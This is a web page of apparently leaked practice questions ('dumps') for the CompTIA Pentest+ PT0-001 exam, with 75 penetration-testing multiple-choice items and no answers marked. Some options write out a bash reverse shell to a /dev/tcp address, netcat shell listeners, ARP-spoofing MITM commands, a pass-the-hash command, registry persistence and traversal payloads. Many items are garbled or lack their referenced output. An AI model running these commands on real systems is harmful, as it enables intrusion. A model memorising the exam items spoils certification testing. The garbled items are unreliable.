CompTIA Pentest+ PT0-001 Exam will be Retired in April, 2022

dumps2022-01-03T06:04:47+08:00

CompTIA certification PT0-001 exam will be retired in April, 2022, and the new replacement test is PT0-002. There are 85 questions in real CompTIA PT0-001 exam, and you have 165 minutes to write the test. The required passing score of PT0-001 exam is 750 (on a scale of 100-900). The available langauges are English and Japanese. Each candidate can register PT0-001 exam at Pearson VUE test center. Free CompTIA Pentest+ PT0-001 exam dumps are available below.

Page 1 of 8

1. A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack.

Which of the following remediation steps should be recommended? (Select THREE)

Mandate all employees take security awareness training

Implement two-factor authentication for remote access

Install an intrusion prevention system

Increase password complexity requirements

Install a security information event monitoring solution.

Prevent members of the IT department from interactively logging in as administrators

Upgrade the cipher suite used for the VPN solution

2. A penetration tester is checking a script to determine why some basic math errors are persisting.

The expected result was the program outputting “True”.

Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)

Change ‘fi’ to ‘Endli’.

Remove the ‘let’ in front of ‘dest=5+5’.

Change the ‘=’ to ‘-eq’.

Change ‘source’ and ‘dest’ to “$source” and “$dest”.

Change ‘else’ to ‘elif’.

3. Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).

To report indicators of compromise

To report findings that cannot be exploited

To report critical findings

To report the latest published exploits

To update payment information

To report a server that becomes unresponsive

To update the statement o( work

To report a cracked password

4. A penetration tester reports an application is only utilizing basic authentication on an Internet-facing

application.

Which of the following would be the BEST remediation strategy?

Enable HTTP Strict Transport Security.

Enable a secure cookie flag.

Encrypt the communication channel.

Sanitize invalid user input.

5. A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses.

Which of the following are needed to conduct this scan? (Choose two.)

-O

-iL

-sV

-sS

-oN

-oX

6. A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan.

The tester runs the following command:

nmap -p 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130

Which of the following BEST describes why multiple IP addresses are specified?

The network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets.

The tester is trying to perform a more stealthy scan by including several bogus addresses.

The scanning machine has several interfaces to balance the scan request across at the specified rate.

A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.

7. The scope of a penetration test requires the tester to be stealthy when performing port scans.

Which of the following commands with Nmap BEST supports stealthy scanning?

CCmin-rate

CCmax-length

CChost-timeout

CCmax-rate

8. An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email.

Which of the following types of motivation was used m this attack?

Principle of fear

Principle of authority

Principle of scarcity

Principle of likeness

Principle of social proof

9. A penetration tester executed a vulnerability scan against a publicly accessible host and found a web server that is vulnerable to the DROWN attack.

Assuming this web server is using the IP address 127.212.31.17, which of the following should the tester use to verify a false positive?

Openssl s_client -tls1_2 -connect 127.212.31.17:443

Openssl s_client -ss12 -connect 127.212.31.17:443

Openssl s_client -ss13 -connect 127.212.31.17:443

Openssl s_server -tls1_2 -connect 127.212.31.17:443

10. While performing privilege escalation on a Windows 7 workstation, a penetration tester identifies a service that imports a DLL by name rather than an absolute path.

To exploit this vulnerability, which of the following criteria must be met?

Permissions not disabled in the DLL

Weak folder permissions of a directory in the DLL search path

Write permissions in the C:WindowsSystem32imports directory

DLL not cryptographically signed by the vendor

Page 2 of 8

11. During an engagement, a consultant identifies a number of areas that need further investigation and require an extension of the engagement.

Which of the following is the MOST likely reason why the engagement may not be able to continue?

The consultant did not sign an ND

The consultant was not provided with the appropriate testing tools.

The company did not properly scope the project.

The initial findings were not communicated to senior leadership.

12. A consultant is performing a social engineering attack against a client. The consultant was able to collect a number of usernames and passwords using a phishing campaign. The consultant is given credentials to log on to various employees email accounts.

Given the findings, which of the following should the consultant recommend be implemented?

Strong password policy

Password encryption

Email system hardening

Two-factor authentication

13. A penetration tester wants to check manually if a “ghost” vulnerability exists in a system.

Which of the following methods is the correct way to validate the vulnerability?

Download the GHOST file to a Linux system and compile gcc -o GHOST test i: ./GHOST

Download the GHOST file to a Windows system and compile gcc -o GHOST GHOS

c test i: ./GHOST

Download the GHOST file to a Linux system and compile gcc -o GHOST GHOS

c test i: ./GHOST

Download the GHOST file to a Windows system and compile gcc -o GHOST test i: ./GHOST

14. During an internal network penetration test the tester is able to compromise a Windows system and recover the NTLM hash for a local wrltsrnAdrain account Attempting to recover the plaintext password by cracking the hash has proved to be unsuccessful, and the tester has decided to try a pass-the-hash attack to see if the credentials are reused on other in-scope systems Using the Medusa tool the tester attempts to authenticate to a list of systems, including the originally compromised host, with no success Given the output below:

Which of the following Medusa commands would potentially provide better results?

#medusa -h hosts.txt -U usera.txt -P hashes, txt -M smbnt. -m GROP: LOCAL -O out.txt - m PASS: HASH

#medusa -H hosts.txt -U users, txt -P hashes, txt -M smbnt -m PASS: HASH -o out. txt

#medusa -H hosts.txt -u WrkStnAdmin -p aa3b435b51404eeaa3b435b51404ee:4e63c1b137e274dda214154b349fe316 -M smbnt -m GROUP: DOMAIN -o out.txt

#medusa -H hosts.txt -C creds.txt -M mssq1 -m GROUP: DOMAIN -o out.txt

15. A company decides to remediate issues identified from a third-party penetration test done to its infrastructure.

Management should instruct the IT team to:

execute the hot fixes immediately to all vulnerabilities found.

execute the hot fixes immediately to some vulnerabilities.

execute the hot fixes during the routine quarterly patching.

evaluate the vulnerabilities found and execute the hot fixes.

16. While reviewing logs, a web developer notices the following user input string in a field:

Which of the following types of attacks was done to the website?

XSS injection

Blind XSS

Reflected XSS

Persistent XSS

17. When performing active information reconnaissance, which of the following should be tested FIRST before starting the exploitation process?

SQLmap

TLS configuration

HTTP verbs

Input fields

18. A client needs to be PCI compliant and has external-facing web servers.

Which of the following CVSS vulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x?

2.9

3.0

4.0

5.9

19. A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals.

Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).

Cleartext exposure of SNMP trap data

Software bugs resident in the IT ticketing system

S/MIME certificate templates defined by the CA

Health information communicated over HTTP

DAR encryption on records servers

20. A penetration tester has identified a directory traversal vulnerability.

Which of the following payloads could have helped the penetration tester identify this vulnerability?

‘or ‘folder’ like ‘file’; CC

|| is /tmp/

“><script>document.location=/root/</script>

&& dir C:/

../../../../../../../../

Page 3 of 8

21. A penetration tester is performing ARP spoofing against a switch.

Which of the following should the penetration tester spoof to get the MOST information?

MAC address of the client

MAC address of the domain controller

MAC address of the web server

MAC address of the gateway

22. A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report.

Which of the following is the MOST likely reason for the reduced severity?

The client has applied a hot fix without updating the version.

The threat landscape has significantly changed.

The client has updated their codebase with new features.

Thera are currently no known exploits for this vulnerability.

23. A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profiles.

For which of the following types of attack would this information be used?

Exploit chaining

Session hijacking

Dictionary

Karma

24. Which of the following would be BEST for performing passive reconnaissance on a target's external domain?

Peach

CeWL

OpenVAS

Shodan

25. A penetration tester is performing an annual security assessment for a repeat client. The tester finds indicators of previous compromise.

Which of the following would be the most logical steps to follow NEXT?

Report the incident to the tester's immediate manager and follow up with the client immediately

Report the incident to the clients Chief Information Security Officer (CISO) immediately and alter the terms of engagement accordingly

Report the incident to the client's legal department and then follow up with the client's security operations team

Make note of the anomaly, continue with the penetration testing and detail it in the final report

26. During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network.

Which of the following tools could be used to impersonate network resources and collect authentication requests?

Ettercap

Tcpdump

Responder

Medusa

27. DRAG DROP

Instructions:

Analyze the code segments to determine which sections are needed to complete a port scanning script.

Drag the appropriate elements into the correct locations to complete the script.

If at any time you would like to bring back the initial state of the simulation, please click the reset all button.

During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

28. A penetration tester has compromised a host.

Which of the following would be the correct syntax to create a Netcat listener on the device?

nc -lvp 4444 /bin/bash

nc -vp 4444 /bin/bash

nc -p 4444 /bin/bash

nc -lp 4444 Ce /bin/bash

29. A security team is switching firewall vendors. The director of security wants to scope a penetration test to satisfy requirements to perform the test after major architectural changes.

Which of the following is the BEST way to approach the project?

Design a penetration test approach, focusing on publicly released firewall DoS vulnerabilities.

Review the firewall configuration, followed by a targeted attack by a read team.

Perform a discovery scan to identify changes in the network.

Focus on an objective-based approach to assess network assets with a red team.

30. A penetration tester has been assigned to perform an external penetration assessment of a company.

Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.)

Wait outside of the company’s building and attempt to tailgate behind an employee.

Perform a vulnerability scan against the company’s external netblock, identify exploitable vulnerabilities, and attempt to gain access.

Use domain and IP registry websites to identify the company’s external netblocks and external facing applications.

Search social media for information technology employees who post information about the technologies they work with.

Identify the company’s external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Page 4 of 8

31. A security analyst has uncovered a suspicious request in the logs for a web application.

Given the following URL: http:www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswd

Which of the following attack types is MOST likely to be the vulnerability?

Directory traversal

Cross-site scripting

Remote file inclusion

User enumeration

32. An attacker is attempting to gain unauthorized access to a WiR network that uses WPA2-PSK.

Which of the following attack vectors would the attacker MOST likely use?

Capture a three-way handshake and crack it

Capture a mobile device and crack its encryption

Create a rogue wireless access point

Capture a four-way handshake and crack it

33. Given the following script:

Which of the following BEST describes the purpose of this script?

Log collection

Event collection

Keystroke monitoring

Debug message collection

34. A penetration tester executes the following commands:

C:>%userprofile%jtr.exe

This program has been blocked by group policy

C:> accesschk.exe -w -s -q -u Users C:Windows

rw C:WindowsTracing

C:>copy %userprofile%jtr.exe C:WindowsTracing

C:WindowsTracingjtr.exe

jtr version 3.2…

jtr>

Which of the following is a local host vulnerability that the attacker is exploiting?

Insecure file permissions

Application Whitelisting

Shell escape

Writable service

35. Which of the following actions BEST matches a script kiddie's threat actor?

Exfiltrate network diagrams to perform lateral movement

Steal credit cards from the database and sell them in the deep web

Install a rootkit to maintain access to the corporate network

Deface the website of a company in search of retribution

36. Which of the following BEST protects against a rainbow table attack?

Increased password complexity

Symmetric encryption

Cryptographic salting

Hardened OS configurations

37. A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data.

Given the data below from the web interception proxy

Request

POST /Bank/Tax/RTSdocuments/ HTTP 1.1

Host: test.com

Accept: text/html; application/xhtml+xml

Referrer: https://www.test.com/Bank/Tax/RTSdocuments/

Cookie: PHPSESSIONID: ;

Content-Type: application/form-data;

Response

403 Forbidden

<tr>

<td> Error:</td></tr>

<tr><td> Insufficient Privileges to view the data. </td></tr>

Displaying 1-10 of 105 records

Which of the following types of vulnerabilities is being exploited?

Forced browsing vulnerability

Parameter pollution vulnerability

File upload vulnerability

Cookie enumeration

38. DRAG DROP

A manager calls upon a tester to assist with diagnosing an issue within the following Python script:

#!/usr/bin/python

s = “Administrator”

The tester suspects it is an issue with string slicing and manipulation Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment Options may be used once or not at all

39. A client has scheduled a wireless penetration test.

Which of the following describes the scoping target information MOST likely needed before testing can begin?

The physical location and network ESSIDs to be tested

The number of wireless devices owned by the client

The client's preferred wireless access point vendor

The bands and frequencies used by the client's devices

40. HOTSPOT

Instructions:

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

Page 5 of 8

41. During a vulnerability assessment, the security consultant finds an XP legacy system that is running a critical business function.

Which of the following mitigations is BEST for the consultant to conduct?

Update to the latest Microsoft Windows O

Put the machine behind the WA

Segment the machine from the main network.

Disconnect the machine.

42. Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

Penetration test findings often contain company intellectual property

Penetration test findings could lead to consumer dissatisfaction if made pubic

Penetration test findings are legal documents containing privileged information

Penetration test findings can assist an attacker in compromising a system

43. An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses.

Which of the following commands can the assessor use to find any likely Windows domain controllers?

dig -q any _kerberos._tcp.internal.comptia.net

dig -q any _lanman._tcp.internal.comptia.net

dig -q any _ntlm._tcp.internal.comptia.net

dig -q any _smtp._tcp.internal.comptia.net

44. A penetration tester has run multiple vulnerability scans against a target system.

Which of the following would be unique to a credentialed scan?

Exploits for vulnerabilities found

Detailed service configurations

Unpatched third-party software

Weak access control configurations

45. A malicious user wants to perform an MITM attack on a computer.

The computer network configuration is given below:

IP: 192.168.1.20

NETMASK: 255.255.255.0

DEFAULT GATEWAY: 192.168.1.254

DHCP: 192.168.1.253

DNS: 192.168.10.10, 192.168.20.10

Which of the following commands should the malicious user execute to perform the MITM attack?

arpspoof -c both -r -t 192.168.1.1 192.168.1.20

arpspoof -t 192.168.1.20 192.168.1.254

arpspoof -c both -t 192.168.1.20 192.168.1.253

arpspoof -r -t 192 .168.1.253 192.168.1.20

46. During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them?

Locating emergency exits

Preparing a pretext

Shoulder surfing the victim

Tailgating the victim

47. A penetration tester has been hired to perform a penetration test for an organization.

Which of the following is indicative of an error-based SQL injection attack?

a=1 or 1CC

1=1 or bCC

1=1 or 2CC

1=1 or aCC

48. After successfully capturing administrator credentials to a remote Windows machine, a penetration tester attempts to access the system using PSExec but is denied permission.

Which of the following shares must be accessible for a successful PSExec connection?

IPCS and C$

C$ and ADMINS

SERVICES and ADMINS

ADMINS and IPCS

49. Which of the following has a direct and significant impact on the budget of the security assessment?

Scoping

Scheduling

Compliance requirement

Target risk

50. A penetration tester is using the Onesixtyone tool on Kali Linux to try to exploit the SNMP protocol on a target that has SNMP enabled.

Which of the following types of attacks is the penetration tester performing?

Buffer overflow attack

Man-in-the-middle attack

Dictionary-based attack

Name resolution attack

Page 6 of 8

51. When conducting reconnaissance against a target, which of the following should be used to avoid directory communicating with the target?

Nmap tool

Maltego community edition

Nessus vulnerability scanner

OpenVAS

Melasploit

52. When performing compliance-based assessments, which of the following is the MOST important Key consideration?

Additional rate

Company policy

Impact tolerance

Industry type

53. A tester intends to run the following command on a target system:

bash -i >& /dev/tcp/10.2.4.6/443 0> &1

Which of the following additional commands would need to be executed on the tester’s Linux system to make the previous command successful?

nc -nlvp 443

nc 10.2.4.6. 443

nc -w3 10.2.4.6 443

nc -e /bin/sh 10.2.4.6. 443

54. A penetration tester discovers Heartbleed vulnerabilities in a target network.

Which of the following impacts would be a result of exploiting this vulnerability?

Code execution can be achieved on the affected systems

Man-in-the-middle attacks can be used to eavesdrop cookie contents.

The attacker can steal session IDs to impersonate other users

Public certificate contents can be used lo decrypt traffic

55. Consumer-based IoT devices are often less secure than systems built for traditional desktop computers.

Which of the following BEST describes the reasoning for this?

Manufacturers developing IoT devices are less concerned with security.

It is difficult for administrators to implement the same security standards across the board.

IoT systems often lack the hardware power required by more secure solutions.

Regulatory authorities often have lower security requirements for IoT systems.

56. A penetration tester runs the following from a compromised box 'python -c -import pty;Pty.sPawn( "/bin/bash").'.

Which of the following actions is the tester taking?

Removing the Bash history

Upgrading the shell

Creating a sandbox

Capturing credentials

57. A security consultant is trying to attack a device with a previously identified user account.

Which of the following types of attacks is being executed?

Credential dump attack

DLL injection attack

Reverse shell attack

Pass the hash attack

58. During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password have been unsuccessful.

Which of the following would be the BEST target for continued exploitation efforts?

Operating system Windows 7 Open ports: 23, 161

Operating system Windows Server 2016 Open ports: 53, 5900

Operating system Windows 8 1 Open ports 445, 3389

Operating system Windows 8 Open ports 514, 3389

59. A penetration tester is performing a remote internal penetration test by connecting to the testing system from the Internet via a reverse SSH tunnel. The testing system has been placed on a general user subnet with an IP address of 192.168.1.13 and a gateway of 192.168.1.1.

Immediately after running the command below, the penetration tester’s SSH connection to the testing platform drops:

Which of the following ettercap commands should the penetration tester use in the future to

perform ARP spoofing while maintaining a reliable connection?

# sudo ettercap CTq Cw output.cap CM ARP /192.168.1.0/ /192.168.1.255/

# proxychains ettercap CTq Cw output.cap CM ARP /192.168.1.13/ /192.168.1.1/

# ettercap CTq Cw output.cap CM ARP 00:00:00:00:00:00//80 FF:FF:FF:FF:FF:FF//80

# ettercap CCsafe-mode CTq Cw output.cap CM ARP /192.168.1.2C 255/ /192.168.1.13/

# ettercap CTq Cw output.cap CM ARP /192.168.1.2C12;192.168.1.14C 255/ /192.168.1.1/

60. A penetration tester has discovered through automated scanning that a Tomcat server allows for the use of default credentials. Using default credentials, the tester is able to upload WAR files to the server.

Which of the following is the MOST likely post-exploitation step?

Upload a customized /etc/shadow file.

Monitor network traffic

Connect via SSH using default credentials.

Install web shell on the server.

Page 7 of 8

61. A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained.

Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.)

Place an entry in HKLMSoftwareMicrosoftCurrentVersionRun to call au57d.ps1.

Place an entry in C:windowssystem32driversetchosts for 12.17.20.10 badcomptia.com.

Place a script in C:users%usernamelocalappdataroamingtempau57d.ps1.

Create a fake service in Windows called RTAudio to execute manually.

Place an entry for RTAudio in HKLMCurrentControlSetServicesRTAudio.

Create a schedule task to call C:windowssystem32driversetchosts.

62. Which of the following is the purpose of an NDA?

Outlines the terms of confidentiality between both parties

Outlines the boundaries of which systems are authorized for testing

Outlines the requirements of technical testing that are allowed

Outlines the detailed configuration of the network

63. A MITM attack is being planned. The first step is to get information flowing through a

controlled device.

Which

of the following should be used to accomplish this?

Repeating

War driving

Evil twin

Bluejacking

Replay attack

64. Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO).

Shodan

SET

BeEF

Wireshark

Maltego

Dynamo

65. A client requests that a penetration tester emulate a help desk technician who was recently laid off.

Which of the following BEST describes the abilities of the threat actor?

Advanced persistent threat

Script kiddie

Hacktivist

Organized crime

66. Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe ism looking for a method that will enable him to enter the building during business hours or when there are no employee on-site.

Which of the following would be MOST effective in accomplishing this?

Badge cloning

Lock picking

Tailgating

Piggybacking

67. A penetration tester has been asked to conduct a penetration test on a REST-based web service.

Which of the following items is required?

The latest vulnerability scan results

A list of sample application requests

An up-to-date list of possible exploits

A list of sample test accounts

68. Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

Stack pointer register

Index pointer register

Stack base pointer

Destination index register

69. A constant wants to scan all the TCP Pots on an identified device.

Which of the following Nmap switches will complete this task?

-p-

-p ALX,

-p 1-65534

-port 1-65534

70. A penetration tester wants to target NETBIOS name service.

Which of the following is the most likely command to exploit the NETBIOS name service?

arPspoof

nmap

responder

burpsuite

Page 8 of 8

71. A penetration tester has obtained access to an IP network subnet that contains ICS equipment intercommunication.

Which of the following attacks is MOST likely to succeed in creating a physical effect?

DNS cache poisoning

Record and replay

Supervisory server SMB

Blind SQL injection

72. A consultant is identifying versions of Windows operating systems on a network.

Which of the following Nmap commands should the consultant run?

nmap -T4 -v -sU -iL /tmp/list.txt -Pn ―script smb-system-info

nmap -T4 -v -iL /tmp/list .txt -Pn ―script smb-os-disccvery

nmap -T4 -v -6 -iL /tmp/liat.txt -Pn ―script smb-os-discovery -p 135-139

nmap -T4 -v ―script smb-system-info 192.163.1.0/24

73. A company’s corporate policies state that employees are able to scan any global network as long as it is done within working hours. Government laws prohibit unauthorized scanning.

Which of the following should an employee abide by?

Company policies must be followed in this situation

Laws supersede corporate policies

Industry standards receding scanning should be followed

The employee must obtain written approval from the company's Chief Information Security Officer (ClSO) prior to scanning

74. A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding.

Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings?

Ensure the scanner can make outbound DNS requests.

Ensure the scanner is configured to perform ARP resolution.

Ensure the scanner is configured to analyze IP hosts.

Ensure the scanner has the proper plug -ins loaded.

75. A penetration tester is preparing to conduct API testing.

Which of the following would be MOST helpful in preparing for this engagement?

NiktO

WAR

W3AF

Swagger

CompTIA Pentest+ PT0-001 Exam will be Retired in April, 2022

CompTIA Pentest+ PT0-001 Exam will be Retired in April, 2022

Share this post

Leave a Reply Cancel reply

Related Posts